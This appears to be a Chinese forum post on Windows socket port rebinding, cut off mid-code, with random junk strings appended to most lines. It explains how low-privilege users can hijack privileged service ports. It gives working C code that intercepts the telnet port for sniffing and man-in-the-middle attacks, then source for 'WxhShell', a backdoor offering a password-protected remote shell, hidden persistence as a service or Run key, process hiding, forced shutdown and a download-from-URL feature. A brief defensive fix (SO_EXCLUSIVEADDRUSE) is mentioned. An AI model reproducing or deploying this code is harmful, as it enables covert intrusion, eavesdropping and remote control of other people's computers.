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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x\2N @*I:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =K\.YKT  
 R7-+@  
  saddr.sin_family = AF_INET; vqnFyd   
tA6x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @$%[D`Wa<  
Zi~-m]9U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i>n)T  
n8vteGQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p:q?8+W-r  
$Hbd:1%i {  
  这意味着什么?意味着可以进行如下的攻击: VA0p1AD  
[^GXHE=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XZ!^kftyW  
,zU7UL^I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WnZn$N.  
CPS1b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t+`>zux5(T  
NgPY/R>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]^ "BLbDZ@  
NY!"?Zko  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 64h$sC0z/e  
@-F[3`HeA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?v$kq}Rg  
#K _E/~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zM*PN|/%sH  
_|%l) KO  
  #include " .:b43Z  
  #include `SGI Qrb  
  #include *{e?%!Q  
  #include    Zo(p6rku  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q( \2(x\  
  int main() )/ 2J|LxS  
  { 2or!v^^u  
  WORD wVersionRequested; lf%Ju$H   
  DWORD ret; /6Vn WrN_  
  WSADATA wsaData; ]iL>Zxex  
  BOOL val; *dE5yS`H  
  SOCKADDR_IN saddr; H[KTM'n  
  SOCKADDR_IN scaddr; q"sD>Yh&  
  int err; 8F*"z^vD=  
  SOCKET s; GVl TW?5  
  SOCKET sc; Gv uX"J  
  int caddsize; w~I;4p~(N  
  HANDLE mt; dN)!B!*aI  
  DWORD tid;   w` ;>+_ E7  
  wVersionRequested = MAKEWORD( 2, 2 ); Jg\1(ix  
  err = WSAStartup( wVersionRequested, &wsaData ); /,cyp .  
  if ( err != 0 ) { AD/7k3:  
  printf("error!WSAStartup failed!\n"); yC<[LH  
  return -1; cw)'vAE  
  } ubvXpK:.  
  saddr.sin_family = AF_INET; `zZGL&9m`  
   &z"sT*3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 loPBHoE3@H  
~'aK[3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iAAlld1  
  saddr.sin_port = htons(23); s.oh6wz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d|c> Y(  
  {  @rT}V>2I  
  printf("error!socket failed!\n"); vx&jI$t8  
  return -1; $NG|z0  
  } tf+5@Zf]4  
  val = TRUE; 37M?m$BL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jJfV_#'N'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hi(u L>\  
  { V\(p6:1(6K  
  printf("error!setsockopt failed!\n"); Wk"\aoX"E  
  return -1; _x ;fTW0  
  } OY>0qj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9q=\_[\[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UPI'O %  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D^%DYp  
V.k2t$@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Mkc|uiT   
  { S@'yuAe*G  
  ret=GetLastError(); R:LT hFx  
  printf("error!bind failed!\n"); B1C"F-2d  
  return -1; $sX X6K),  
  } Q[M?LNE`  
  listen(s,2); ~ [4oA$[a|  
  while(1) !U2Wiks  
  { IT~pp _6g  
  caddsize = sizeof(scaddr); NgXV|) L  
  //接受连接请求 8a SH0dX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T)QT_ST.9  
  if(sc!=INVALID_SOCKET) EhBYmc" &  
  { ;.g <u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p*^[ ~}N  
  if(mt==NULL)  @aC2]  
  { `vijd(a?v  
  printf("Thread Creat Failed!\n"); ~Ue t)y<  
  break; oy) 'wb~  
  } a.5^zq7#!  
  } ZTwCFn  
  CloseHandle(mt); &xGcxFd  
  } Q41eYzAi  
  closesocket(s); Nhm)bdv]  
  WSACleanup(); YdI&OzaroE  
  return 0; qU) pBA  
  }   Q ]u*Oels  
  DWORD WINAPI ClientThread(LPVOID lpParam) #ir~v>J||  
  { 0R0j7\{  
  SOCKET ss = (SOCKET)lpParam; v'QmuMWF  
  SOCKET sc; JTxHM?/G  
  unsigned char buf[4096]; Td`0;R'<}c  
  SOCKADDR_IN saddr; dGrm1w  
  long num; [MkXQwY  
  DWORD val; HP /@ _qk  
  DWORD ret; [7:(e/&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 '#fwNbD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mJ3|UClPS  
  saddr.sin_family = AF_INET; <CJ`A5N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sBo|e]m#  
  saddr.sin_port = htons(23); pM^r8kIH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zeZ}P>C  
  { r^$4]@Wn  
  printf("error!socket failed!\n"); F5#P{ zk|  
  return -1; }8W5m(Zq9n  
  } S1R:/9 z  
  val = 100; 9z:P#=Q:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y^SDt3Am  
  { *:*Kdt`'G  
  ret = GetLastError(); o y'GAc/  
  return -1; 9Xu O\+z  
  } *{y/wgX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PJCRvs|X  
  { C(^IX"9 #  
  ret = GetLastError(); jd&kak  
  return -1; A{!D7kwTz~  
  } ;DkX"X+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) v/Z!Wp1LV  
  { .\?)O+J!  
  printf("error!socket connect failed!\n"); UUlrfur~  
  closesocket(sc); "[*W=6m0  
  closesocket(ss); z}" Xt=G?  
  return -1; OC[+t6  
  } ~S],)E1w  
  while(1) qOV6Kh)  
  { #hOAG_a,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sKkk+-J4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {M5[gr%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W+'|zhn  
  num = recv(ss,buf,4096,0); #Zm%U_$<  
  if(num>0) \*5_gPj!d  
  send(sc,buf,num,0); T =l4Vb{>  
  else if(num==0) j>5D4}*]f  
  break; %Tn0r|K  
  num = recv(sc,buf,4096,0); ,pgpu !  
  if(num>0) nI-^   
  send(ss,buf,num,0); ;34 m!\N5  
  else if(num==0) vB:_|B  
  break; ,DHiM-v  
  } 4;*o}E  
  closesocket(ss); {hr+ENgV  
  closesocket(sc); Wa8?o~0"L  
  return 0 ; 0;b%@_E  
  } J(\]39y  
m|RA@sY%`  
p.gaw16}>  
========================================================== gX}(6RP_!  
-L&FguoVB  
下边附上一个代码,,WXhSHELL y8$TU;  
,~!rn}MI<  
========================================================== O~r.sJ}  
+~6gP!  
#include "stdafx.h" Wm5/>Cu,  
gCMwmanX  
#include <stdio.h> )1>fQ9   
#include <string.h> #8!xIy  
#include <windows.h> f2sv$#'  
#include <winsock2.h> -m&8SN  
#include <winsvc.h> m#E%, rT  
#include <urlmon.h> %lw!4Z\gg  
S z3@h"  
#pragma comment (lib, "Ws2_32.lib") FQbF)K~e  
#pragma comment (lib, "urlmon.lib") +$eEZ;4  
Yxal%  
#define MAX_USER   100 // 最大客户端连接数 xp395ub6  
#define BUF_SOCK   200 // sock buffer .@Z-<P"  
#define KEY_BUFF   255 // 输入 buffer fE\;Cbi  
2Mc}>UI?eO  
#define REBOOT     0   // 重启 %n3lm(-0U  
#define SHUTDOWN   1   // 关机 m17H#!`  
{%S>!RA  
#define DEF_PORT   5000 // 监听端口 "g)@jqq:>  
2BU%4IG  
#define REG_LEN     16   // 注册表键长度 !,mv 7Yj  
#define SVC_LEN     80   // NT服务名长度 q L6Rs  
u0;FQr2  
// 从dll定义API  xZ*.@Pkr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7R 40t3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tFvc~zz9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Zhl}X!:c?\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \\F@_nB,b  
a'LM6A8~x  
// wxhshell配置信息 L6^Qn%:OTd  
struct WSCFG { N5ityJIgQ  
  int ws_port;         // 监听端口 [dje!5Dc(  
  char ws_passstr[REG_LEN]; // 口令 A6APU><dm^  
  int ws_autoins;       // 安装标记, 1=yes 0=no tN' -4<+  
  char ws_regname[REG_LEN]; // 注册表键名 p/|": (U  
  char ws_svcname[REG_LEN]; // 服务名 Z|YiYQl[)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A9_)}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3Z *'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NR8YVO)5$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TSQ/{=r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `TM[7'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :nuMakZZ  
Yg5m=Lis  
}; wG1A]OJl1  
niZ/yW{w  
// default Wxhshell configuration nVqFCBB  
struct WSCFG wscfg={DEF_PORT, O.n pi: a  
    "xuhuanlingzhe", `%lgT+~T  
    1, \vBpH'hR,'  
    "Wxhshell", w<?v78sT  
    "Wxhshell", f)xHSF"  
            "WxhShell Service", 7l"N%e  
    "Wrsky Windows CmdShell Service", TI{W(2O*  
    "Please Input Your Password: ", FFH9 $>A  
  1, 2k,!P6fgl  
  "http://www.wrsky.com/wxhshell.exe", FcnSO0G%  
  "Wxhshell.exe" )q?z "F|  
    }; c;w%R8z  
~ {sRK  
// 消息定义模块 %m:T?![XO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T&_!AjH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JzA`*X[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xm@vx}O:  
char *msg_ws_ext="\n\rExit."; eGrC0[SH  
char *msg_ws_end="\n\rQuit."; 1LTl=tS#  
char *msg_ws_boot="\n\rReboot..."; v3w5+F  
char *msg_ws_poff="\n\rShutdown..."; :eQ?gM!,  
char *msg_ws_down="\n\rSave to "; >b>3M'  
8U8l 5r  
char *msg_ws_err="\n\rErr!"; |];s[^$#  
char *msg_ws_ok="\n\rOK!"; -1ke3  
y6|&bJ @  
char ExeFile[MAX_PATH]; T<*i($ [  
int nUser = 0; ~Uw **PT3M  
HANDLE handles[MAX_USER]; (>*<<a22  
int OsIsNt; JO:40V?op  
k^3|A3A  
SERVICE_STATUS       serviceStatus; `3!ERQU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9QaEUy*,  
#t /.fd  
// 函数声明 {K-]nh/  
int Install(void); 9Ny{2m=Ye  
int Uninstall(void); [4:_6vd7X  
int DownloadFile(char *sURL, SOCKET wsh); V#;6 <H"  
int Boot(int flag); HFD5* Z~M  
void HideProc(void); cyq]-B  
int GetOsVer(void); 7dl]f#uZU  
int Wxhshell(SOCKET wsl); Fx']kn9  
void TalkWithClient(void *cs); ^E&':6(  
int CmdShell(SOCKET sock); FHVZ/ e  
int StartFromService(void); "R-1 G/  
int StartWxhshell(LPSTR lpCmdLine); yBKkx@o#z  
>#z*gCO5,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pqPhtWi%PJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IS0RhtGy/  
~c7}eTJd"  
// 数据结构和表定义 Gd$odKtI  
SERVICE_TABLE_ENTRY DispatchTable[] = +:4J~Cuf  
{ 5?),6o);  
{wscfg.ws_svcname, NTServiceMain}, yW.s?3X  
{NULL, NULL} T"Ph@I<  
}; w=Xil  
nA%H`/O{  
// 自我安装 Q7O8']~n  
int Install(void) pyZ&[ *@  
{ $a(EF 6  
  char svExeFile[MAX_PATH]; ~g$Pb[V  
  HKEY key; O@ jW&-;  
  strcpy(svExeFile,ExeFile); -[?q?w!?  
T69'ta32V  
// 如果是win9x系统,修改注册表设为自启动 HVzG }r(J  
if(!OsIsNt) { @)mH"u!(7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K1O0/2O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |,F/_    
  RegCloseKey(key); )P\Vd #  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {.2A+JT,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n|F$qV_p\  
  RegCloseKey(key); HqXaT6#/  
  return 0; b]hP;QK`U$  
    } 2`,{IHu*!  
  } 0IoS|P}6a  
} IH?.s k  
else { F,^Q'$ !  
HaI  
// 如果是NT以上系统,安装为系统服务 /C29^P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &Mbpv)V8  
if (schSCManager!=0) )`]w\s #  
{ 5DKR1z:  
  SC_HANDLE schService = CreateService s  bV6}  
  ( v/6QE;BY&Q  
  schSCManager, 7>`QX%  
  wscfg.ws_svcname, "YD<pRVB  
  wscfg.ws_svcdisp, :%qJAjR&  
  SERVICE_ALL_ACCESS, rk W*C'2fz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @~Z:W<X  
  SERVICE_AUTO_START, %\-u&  
  SERVICE_ERROR_NORMAL, DWDL|4 og  
  svExeFile, Q}ho Y  
  NULL, jJ86Ch  
  NULL, !=>pI/ECQ*  
  NULL, 31-%IkX+k  
  NULL,  lTsl=  
  NULL Qy |*[  
  ); j E_a ++  
  if (schService!=0) @%@uZqQ4  
  { ;cIs$  
  CloseServiceHandle(schService); v0`E lkaN  
  CloseServiceHandle(schSCManager); hp6S *d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /m%Y.:g  
  strcat(svExeFile,wscfg.ws_svcname);  qJ!&H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D 4^2F(YRX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TGu`r>N51  
  RegCloseKey(key); W@jBX{k  
  return 0; zZDa7 1>  
    } x]6OE]]8L  
  } Zuod1;qIh  
  CloseServiceHandle(schSCManager); aB~?Y+m  
} tn201TDZ]=  
} j.X3SQb4G  
YuXq   
return 1; 'cJHOd  
} hb7H- Z2  
C0;c'4(  
// 自我卸载 zuR!,-W  
int Uninstall(void) >lxhXYp  
{ ^'r/;(ZF*/  
  HKEY key; n\&[^Q#b|  
dN J2pfvv  
if(!OsIsNt) { h{I)^8,M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DU#6%8~  
  RegDeleteValue(key,wscfg.ws_regname); &^^zm9{  
  RegCloseKey(key); *?%DdVrO@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #WlIH7J8Tc  
  RegDeleteValue(key,wscfg.ws_regname); I:[^><?E  
  RegCloseKey(key); )xIk#>)  
  return 0; jD9 ^DzFx  
  } + |MHiC  
} ]cLO-A  
} 6}A1^RB+w  
else { 0 3kzS ]g  
a=\r~Z7E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OF*m 9  
if (schSCManager!=0) GL'zs8AKf  
{ yhg^1l|t,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0|n1O)>J  
  if (schService!=0) 0dA'f0Uy\X  
  { 7 7"'?  
  if(DeleteService(schService)!=0) { zl\mBSBx"  
  CloseServiceHandle(schService); (gZKR2hO  
  CloseServiceHandle(schSCManager); }6MHIr=o  
  return 0; >8+:{NW  
  } }2;~':Mklz  
  CloseServiceHandle(schService); J@w Q3#5a  
  } B uV@w-|  
  CloseServiceHandle(schSCManager); @13vn x  
} ;QQLYT  
} .~qu,q7k~  
TyVn5XHl^  
return 1; IGEs1  
} U~QIO O  
8R}CvzI  
// 从指定url下载文件 NL%5'8F>,  
int DownloadFile(char *sURL, SOCKET wsh) FP=%e]vJ  
{ {b~l [  
  HRESULT hr; 4JSf t t  
char seps[]= "/"; tWy0% -  
char *token; -v#0.3zm  
char *file; -R@mnG 5  
char myURL[MAX_PATH]; #x! h BS!  
char myFILE[MAX_PATH]; rAq2   
p5&:>>  
strcpy(myURL,sURL); +m kub}<a  
  token=strtok(myURL,seps); y}dop1zp  
  while(token!=NULL) < TJzp  
  { ],9%QE  
    file=token; nn!W-Bsqjh  
  token=strtok(NULL,seps); &OD)e@Tc  
  } uuW._$.A>  
c.y8x  
GetCurrentDirectory(MAX_PATH,myFILE); f]N2(eM  
strcat(myFILE, "\\"); kKwb)i  
strcat(myFILE, file); /iFtW#K+  
  send(wsh,myFILE,strlen(myFILE),0); uc4#giCD  
send(wsh,"...",3,0); V uZd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (;-< @~2  
  if(hr==S_OK) 2.6%?E]  
return 0; dq[X:3i  
else }DiMt4!ZC!  
return 1; 9B gR@b  
5>M6lwS  
} v?Q&06PMRc  
-:]_DbF  
// 系统电源模块 ~LqjWU  
int Boot(int flag) swEE >=  
{ BMMWP   
  HANDLE hToken; ?v?b%hK!;  
  TOKEN_PRIVILEGES tkp; ~ _R 8; b  
kX!TOlk3  
  if(OsIsNt) { FY  U)sQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,tBb$T)7<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v;4l*)$)  
    tkp.PrivilegeCount = 1; #wn`choT'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J+ tpBPmb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dV(61C0wn  
if(flag==REBOOT) { To v!X8p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S{_i1'  
  return 0; V4kt&61  
} AdV&w: ^yf  
else { G*.}EoA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Kv3cKNvu~  
  return 0; @X\-c2=  
} SJ4[n.tPI  
  } KneCMFy  
  else { uM|*y-4  
if(flag==REBOOT) { L} r#KfIb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _qwKFC  
  return 0; X}Heaqn  
} hJ[Z~PC\T0  
else { !Wn^B|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G}ZJ}5h  
  return 0; eiE36+'>b  
} zi M~V'  
} 0~2~^A#]\  
08*bYJu  
return 1; _?Q0yVH;,  
} {akSK  
I29aja  
// win9x进程隐藏模块 )xKZ)SxV  
void HideProc(void) imGg3'  
{ V?x&.C2Z  
V80BO#Pk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H4l*  
  if ( hKernel != NULL ) .dqV fa  
  { yr=$a3web;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K)!yOa'fH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A|3'9iL{9  
    FreeLibrary(hKernel); !>gi9z,  
  } J${'?!N  
};{V]f 0  
return; WBcnE( zF  
} l0hcNEj{W  
w"?H4  
// 获取操作系统版本 yb{ud  
int GetOsVer(void) 1nHQ)od  
{ BllS3I}V  
  OSVERSIONINFO winfo; =z_.RE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `r?xo7  
  GetVersionEx(&winfo); z  u53mZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jx*jYil  
  return 1; "'Bx<FA  
  else "N'|N.,  
  return 0; prJ]u H,  
} BCy# Td  
\v|nRn,`-  
// 客户端句柄模块 2/[J<c\G  
int Wxhshell(SOCKET wsl) f,S,35`qa  
{ <:(p nw*L  
  SOCKET wsh; 0^?:Zds  
  struct sockaddr_in client; ]mO$Tg&s~  
  DWORD myID; X9ua&T2(l  
`cu W^/c  
  while(nUser<MAX_USER) %9 kOl  
{ fjD/<`}v  
  int nSize=sizeof(client); YVSAYv_ZG}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~< ~PaP$=\  
  if(wsh==INVALID_SOCKET) return 1; njhDrwN  
O}$@|w(8;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =~qQ?;o n  
if(handles[nUser]==0) {w/{)B nPG  
  closesocket(wsh); 0^l)9zE  
else g" c|%3  
  nUser++; Q7V*~{  
  } $q}zW%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =t@8Y`9w  
)Q:.1Hgl  
  return 0; e u{  
} L$T23*9XY  
BC*)@=7fx  
// 关闭 socket 4gyC?#Ede  
void CloseIt(SOCKET wsh) c:[z({`  
{ S}mZU!  
closesocket(wsh); h!@t8R  
nUser--; GPyr;FV!s  
ExitThread(0); ]'  ck!eG  
} S_ELZO#7  
c)L1@qdZ  
// 客户端请求句柄 NOzAk%s3I  
void TalkWithClient(void *cs) ,tZJSfHB  
{ kfb*|  
VR5CRNBJ  
  SOCKET wsh=(SOCKET)cs; 'r/+z a:2  
  char pwd[SVC_LEN]; ]6)~Sj$ 5  
  char cmd[KEY_BUFF]; Ev%_8CO4e  
char chr[1]; k4@$vxy0  
int i,j; H YA<  
_BC%98:WP  
  while (nUser < MAX_USER) { Ln&'5D#  
G0e]PMeFl  
if(wscfg.ws_passstr) { 06)B<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \:7G1_o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n:TWZ.9  
  //ZeroMemory(pwd,KEY_BUFF); r2t|,%%N7  
      i=0; )Id.yv}_  
  while(i<SVC_LEN) { QYS 1.k  
zc1y)s0G  
  // 设置超时 NA=I7I@  
  fd_set FdRead; !PAuMj)P  
  struct timeval TimeOut; 6!QY)H^j9,  
  FD_ZERO(&FdRead); /=y _ #l  
  FD_SET(wsh,&FdRead); ( vO\h8  
  TimeOut.tv_sec=8; @^O+ulLJ,]  
  TimeOut.tv_usec=0; }KEL{VUX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j@ehcK9|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `<cn b!]  
[wLK*9@&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S)n+E\c  
  pwd=chr[0]; 9Q*T'+V  
  if(chr[0]==0xd || chr[0]==0xa) { DK6^\k][V  
  pwd=0; xAZ-_}'tW  
  break; q3_ceXYU  
  } uT\|jv,  
  i++; w#-J ?/m  
    } c3L)!]kB  
@2X{e7+D  
  // 如果是非法用户,关闭 socket o+}>E31a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o.o$dg(r!  
} 2kXa  
>14 x.c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }{oZdO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xJNV^u  
O7})1|>1  
while(1) { i(hL6DLD  
p-qt?A  
  ZeroMemory(cmd,KEY_BUFF); mFGiysM  
DI>SW%)>  
      // 自动支持客户端 telnet标准   d?9b6k?  
  j=0; eH0^d5bH  
  while(j<KEY_BUFF) { N(7UlS,u'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BQOit.  
  cmd[j]=chr[0]; P{2ue`w[  
  if(chr[0]==0xa || chr[0]==0xd) { 1:.I0x!  
  cmd[j]=0;  K}OY!|  
  break; j=],n8_i  
  } Ra!Br6  
  j++; D_)i%k\  
    } g)L?C'BG  
ZcQ@%XY3~  
  // 下载文件 *)8!~Hs   
  if(strstr(cmd,"http://")) { 4?u<i=i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w4<n=k  
  if(DownloadFile(cmd,wsh)) >Q-"-X1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]b+Nsr~  
  else Szb#:C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ||}'  
  } DI )!x {"  
  else { Q7{/ T0  
7_ G$&  
    switch(cmd[0]) { O8mmS!  
  O]1aez[  
  // 帮助 -Uj3?W  
  case '?': { )8_ x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q)s`~G({P  
    break; phc9esz  
  } JNx;/6'd,  
  // 安装 3~ptD5@WF  
  case 'i': { nf2[hx@=U  
    if(Install()) $xK*TJ(k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =-dg]Ol8  
    else l |Y?]LNr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Ctl(uj  
    break; UXdnN;0  
    } F, 39'<N[  
  // 卸载 -ld1o+'`v!  
  case 'r': { JNL9t0 x  
    if(Uninstall()) 4~DW7 (  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; `Vbl_"L  
    else 4UISuYg'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >OotgJnhC  
    break; Z'cL"n\9R]  
    } u]$e@Vw.  
  // 显示 wxhshell 所在路径 !\hUjM+(}  
  case 'p': { bMvHAtp  
    char svExeFile[MAX_PATH]; j96\({;k  
    strcpy(svExeFile,"\n\r"); ,?KN;~t#vz  
      strcat(svExeFile,ExeFile); mh :eUFe  
        send(wsh,svExeFile,strlen(svExeFile),0); ^!j,d_)b!  
    break; n]< >$  
    } Xf/qUao  
  // 重启 1$toowb"Zy  
  case 'b': { :H8`z8=0f{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )r`F}_CEL  
    if(Boot(REBOOT)) 8w\ZY>d   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *f*o ,~8V1  
    else { WW[Gne  
    closesocket(wsh); )d =8)9B  
    ExitThread(0); @\}w8  
    } T:|PSJc0  
    break; RK\$>KFE  
    } nN*:"F/^  
  // 关机 XnNU-UCX  
  case 'd': { }}q_QD_  
